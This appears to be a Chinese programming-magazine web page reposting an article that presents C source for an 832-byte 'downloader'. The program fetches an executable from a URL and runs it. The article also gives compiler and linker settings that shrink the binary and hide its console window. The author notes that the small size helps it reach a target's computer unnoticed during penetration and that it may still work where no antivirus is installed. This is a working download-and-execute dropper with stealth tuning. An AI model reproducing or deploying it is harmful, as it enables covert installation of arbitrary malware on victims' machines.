你好,欢迎来到电脑编程技巧与维护杂志社! 杂志社简介广告服务读者反馈编程社区  
合订本订阅
 
 
您的位置:技术专栏 / C专栏
VC编译 超级纳米型下载者 仅832字节 连1K都不到
 
[原创]VC编译 超级纳米型下载者 仅832字节 连1K都不到

这是几年前写的了 纯属挑战极限 用VC写一个超小的下载者
当时我也录有教程发布 具体自己百度 挖以前的动画教程
如此小的下载者杀软一扫就直接扫到特征了 想用于过杀软就别想了
要是用在没杀软上面 这几年前写的东西可能还有些用处
有人可能说 有啥用? 文件小 1k都不到 明显在传入电脑时 完全不会察觉到
特别是俄罗斯人家现在是按流量记费的  如果你在渗透时 传什么大文件 立马惊动目标
当然本文的重点 并不在这里 这也是几年前的东西 本文只是单纯的研究VC编译的极限

//  Crack8 C 下载者 超级纳米型下载者 仅832字节 连1K都不到
// 2010-4-16
#include <UrlMon.h>
#include<Shellapi.h>
#pragma comment(lib, "Urlmon.lib")
Crack8main(){            
URLDownloadToFile(0,"http://127.0.0.1/Crack8.exe","E:\\K8.exe",0,NULL);    
ShellExecute(0,"open","E:\\K8.exe",NULL,NULL,SW_SHOW);    
}


// 作用: 合并节
// 将.data节和.rdata节合并到.text节(代码节)
#pragma comment(linker, "/merge:.data=.text")   //合并节也能减少体积 可往 :2  那里 /merge:.data=.text
#pragma comment(linker, "/merge:.rdata=.text")

:2 工程 设置 连接 工程选项里的内容
kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib
shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo
/entry:"Crack8main" /subsystem:windows /incremental:no /pdb:"Release/k8.pdb"
/machine:I386 /out:"Release/K8download.exe" /align:16


一,使用release版而不用debug版编译

使用debug版编译会生成许多垃圾信息.我们先使用默认的设置进行一下编译.
可以看到编译后生成的文件有152k之巨.使用release版编译具体方法是:
在"build(编译)--->Configuration(配置)"中将"Win32 debug"移去,
然后再次编译可以发现文件已经小了很多,才24k.但离我们的目标还很远呢.

还要点移除工程配置里的 "Win32 debug"  上面是别人发现的 这是Crack8发现的

二,设置自己的入口点函数

C或C++程序默认的入口函数是main()或WinMain(),但我们现在不用什么Main,WinMain.
因为这些都不是直接的入口点,编译器在产生exe文件的时候,将为我们生成真正的入口点.
下面我们来定义自己的入口函数,具体是把main或WinMain改成其它的名字(如Crack8main),
打开"Project(工程)--->settings(设置)"选项,选中"link"选项卡,在"Category(分类)"
下拉列表中选"output",在" Entry-Point symbol(输入项-点符号)"中输入我们刚才定义的
入口函数(Crack8main),在源程序中也要做相应修改,然后再编译.现在是16k了:)

大家注意到程序运行时会产生一个cmd窗口,要让他没有就好了.这也好办.

回到VC++中,在"Project(工程)--->settings(设置)"选项,选中"link"选项卡,
在下面的"Project options(工程选项)"有/subsystem:console选项,表示程序是控制台程序,
双击运行是会有一个cmd窗口,把console改为windows就没有窗口了.:),运行一下 没有窗口哦
但有进程 连接一下试试

3 编译老是出错 请点一下 执行 *.exe 或者CTRL+F5

4 如果提示没找到文件 请先结束K8。EXE进程

5 在工程  设置中 选C/C++ 优化  选大小最小 后K8下载者才832字节

 让他再小N倍
通常VC在编译的时候,采用的对齐方式是0x1000,即4096bytes,我们现在将他改成0x200,即512bytes.

在刚才打开的"link"选项卡,在下面的"Project options(工程选项)"中添加:/align:16(还可以将512设

置的更小如16,32.....)  这里只能是16以上的倍数
  推荐精品文章

·2024年9月目录 
·2024年8月目录 
·2024年7月目录 
·2024年6月目录 
·2024年5月目录 
·2024年4月目录 
·2024年3月目录 
·2024年2月目录 
·2024年1月目录
·2023年12月目录
·2023年11月目录
·2023年10月目录
·2023年9月目录 
·2023年8月目录 

  联系方式
TEL:010-82561037
Fax: 010-82561614
QQ: 100164630
Mail:gaojian@comprg.com.cn

  友情链接
 
Copyright 2001-2010, www.comprg.com.cn, All Rights Reserved
京ICP备14022230号-1,电话/传真:010-82561037 82561614 ,Mail:gaojian@comprg.com.cn
地址:北京市海淀区远大路20号宝蓝大厦E座704,邮编:100089